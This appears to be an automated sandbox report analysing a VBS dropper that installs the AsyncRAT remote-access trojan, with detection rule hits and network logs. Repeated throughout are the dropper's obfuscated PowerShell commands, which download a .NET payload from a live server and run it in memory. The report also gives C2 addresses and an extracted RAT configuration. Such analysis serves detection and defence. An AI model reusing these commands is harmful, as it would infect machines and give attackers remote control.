HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3848, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadSt

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 89.117.23.22, DestinationIsIpv6: false, DestinationPort: 4455, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 6884, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49737

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 5332, ProcessName: wscript.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3848, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadSt

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3848, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadSt

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3848, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadSt

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 5332, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:29:58.380252+0200	2020424	1	Exploit Kit Activity Detected	91.202.233.169	80	192.168.2.4	49730	TCP

ET MALWARE Observed Malicious SSL Cert (AsyncRAT)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:30:19.591904+0200	2034847	1	Domain Observed Used for C2 Detected	89.117.23.22	4455	192.168.2.4	49737	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:30:19.591904+0200	2842478	1	Malware Command and Control Activity Detected	89.117.23.22	4455	192.168.2.4	49737	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:29:58.030429+0200	2803305	3	Unknown Traffic	192.168.2.4	49730	91.202.233.169	80	TCP
2024-10-01T06:29:58.378098+0200	2803305	3	Unknown Traffic	192.168.2.4	49730	91.202.233.169	80	TCP

ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:30:19.591904+0200	2848048	1	Domain Observed Used for C2 Detected	89.117.23.22	4455	192.168.2.4	49737	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": ")8\"zc", "Ports": "$A<IlE,84,7;&gV", "Version": "*wacp!]6l[e", "BDOS": "U^2", "AES_key": "R4OsSR16j3MjPEBlkfzyOGTLnlxVVuwW", "Mutex": "n#QO", "Certificate": "UDq5O^", "ServerSignature": "1", "Group": "Oy\\iql0S13XbS4sp1@PsWg:PGIw'~?Q;ifHa#3ef8L\"SpWzk,&&}s;$/?J9UH3>j3={V'nCn.PI*|e>4&k2[2Y\"w$T+^X_j9HSG[?b*'54eS5e_~(e#Z\"n,TX*T->_qfnrv]TM^:Sm1uBPI9|\\4a^^?R|av{V =9J2E|^{wS7Zq,=)a;uL uRaE\"K5bW ycl@NpcoGBww~DzGBkD+U1vws!$\"Awn}G}9cJ6;M^g4xsh'`s^(KX%.#m`^wc.Syd?~c\"Lsj>]?`qx7a!]~a7*CV\\/w6F+j0{&]M*&[7-]2Y</uTKz[gT&GM", "AntiProcess": "HB!<i[>IoEHueVuN1#fc!@?Z#TsdM.i5RX/xjjmOH +NC,v <85~NN!Z.)uebFY`", "PasteBin": "FLVl;"}

Multi AV Scanner detection for domain / URL

Source: dczas.duckdns.org	Virustotal: Detection: 9%			Perma Link
Source: http://91.202.233.169	Virustotal: Detection: 9%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 89.117.23.22:4455 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2034847 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT) : 89.117.23.22:4455 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2848048 - Severity 1 - ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT) : 89.117.23.22:4455 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 91.202.233.169:80 -> 192.168.2.4:49730

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: )8"zc

Uses dynamic DNS services

Source: unknown

DNS query: name: dczas.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.powershell.exe.1851cfd0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18506078440.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504da3b80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.4:49737 -> 89.117.23.22:4455

Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/DRG/RTC/F3dll.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/DRG/RTC/F3Pe.txt HTTP/1.1Host: 91.202.233.169
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DJ1.txt HTTP/1.1Host: 91.202.233.169

Source: Joe Sandbox View	IP Address: 91.202.233.169 91.202.233.169
Source: Joe Sandbox View	IP Address: 89.117.23.22 89.117.23.22

Source: Joe Sandbox View	ASN Name: M247GB M247GB
Source: Joe Sandbox View	ASN Name: LRTC-ASLT LRTC-ASLT

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 91.202.233.169:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169

Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/DRG/RTC/F3dll.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/DRG/RTC/F3Pe.txt HTTP/1.1Host: 91.202.233.169
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DJ1.txt HTTP/1.1Host: 91.202.233.169

Source: global traffic

DNS traffic detected: DNS query: dczas.duckdns.org

